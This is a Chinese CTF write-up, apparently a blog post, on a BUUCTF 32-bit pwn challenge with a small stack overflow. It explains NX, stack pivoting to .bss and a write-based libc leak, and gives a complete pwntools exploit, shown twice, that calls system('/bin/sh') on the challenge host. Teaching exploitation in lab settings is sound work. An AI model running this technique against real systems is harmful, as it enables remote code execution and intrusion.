做的时候发现忘记了好多知识点 复现一下 不然本来这题的知识点以前的博客都有讲到
[*] '/home/chen/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
|
没开金丝雀和pie 32位 ida看看
ssize_t vul_function() { size_t v0; size_t v1; char buf[24];
v0 = strlen(m1); write(1, m1, v0); read(0, &s, 0x200u); v1 = strlen(m2); write(1, m2, v1); return read(0, buf, 0x20u); }
|
关键函数 给了两次溢出的机会 第二次只能溢出两个字长 看到这里就应该反应过来是栈迁移
第一个read写入的地址是bss段
这里我一开始想的是写入shellcode 打不通后仔细想了想 重新学习了NX保护
NX保护简单理解就是使内存页的数据不可执行
那为什么我们可以构造rop链呢 因为rop链的执行流控制是利用栈帧的ret指令来实现的
from pwn import*
def libcmath(function_addr,function_name): libc_addr = function_addr - libc.sym[function_name] system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) return system_addr,binsh_addr
def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr): payload = cyclic(offset) payload += p64(gadget2_addr) payload += cyclic(0x8) payload += p64(0) payload += p64(1) payload += p64(call_addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(gadget1_addr) payload += cyclic(56) payload += p64(ret_addr) return payload
def localconnect(filename): io = process(filename) return io
def remoteconnect(ip,port): io = remote(ip,port) return io
def elf_libc(filename,libc_name): elf = ELF(filename) libc = ELF(libc_name) return elf,libc
def debug(button): if(button==1): context.log_level = "debug"
filename = 'pwn' libc_name = 'buu_libc_ubuntu16_32' ip="node4.buuoj.cn" port=27820 elf,libc = elf_libc(filename,libc_name)
io = remoteconnect(ip,port) debug(1) io.recvuntil("What is your name?") puts_plt = 0x8048350 write_plt = 0x8048380 write_got = elf.got['write'] main_addr = elf.sym['main'] puts_got = elf.got['puts'] payload = p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) io.send(payload) io.recvuntil("What do you want to say?") bss_addr = 0x804A300 leave_addr = 0x08048408 payload = cyclic(0x18)+p32(bss_addr-4)+p32(leave_addr) io.send(payload) write_addr = u32(io.recv()) system_addr,binsh_addr = libcmath(write_addr,'write') io.recvuntil("What is your name?") payload = p32(system_addr)+p32(0)+p32(binsh_addr) io.send(payload)
|
说一下思路吧 第一个read构造write泄露基址 然后要返回main函数 进行下一次的system系统调用
然后栈迁移到对应的地址-4 这里的-4前面的专门讲解栈迁移的篇幅有提到
接下来就是构造system的链 然后执行了
exp:
from pwn import*
def libcmath(function_addr,function_name): libc_addr = function_addr - libc.sym[function_name] system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) return system_addr,binsh_addr
def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr): payload = cyclic(offset) payload += p64(gadget2_addr) payload += cyclic(0x8) payload += p64(0) payload += p64(1) payload += p64(call_addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(gadget1_addr) payload += cyclic(56) payload += p64(ret_addr) return payload
def localconnect(filename): io = process(filename) return io
def remoteconnect(ip,port): io = remote(ip,port) return io
def elf_libc(filename,libc_name): elf = ELF(filename) libc = ELF(libc_name) return elf,libc
def debug(button): if(button==1): context.log_level = "debug"
filename = 'pwn' libc_name = 'buu_libc_ubuntu16_32' ip="node4.buuoj.cn" port=27820 elf,libc = elf_libc(filename,libc_name)
io = remoteconnect(ip,port) debug(1) io.recvuntil("What is your name?") puts_plt = 0x8048350 write_plt = 0x8048380 write_got = elf.got['write'] main_addr = elf.sym['main'] puts_got = elf.got['puts'] payload = p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) io.send(payload) io.recvuntil("What do you want to say?") bss_addr = 0x804A300 leave_addr = 0x08048408 payload = cyclic(0x18)+p32(bss_addr-4)+p32(leave_addr) io.send(payload) write_addr = u32(io.recv()) system_addr,binsh_addr = libcmath(write_addr,'write') io.recvuntil("What is your name?") payload = p32(system_addr)+p32(0)+p32(binsh_addr) io.send(payload) io.recvuntil("What do you want to say?") payload = cyclic(0x18)+p32(bss_addr-4)+p32(leave_addr) io.send(payload) io.interactive()
|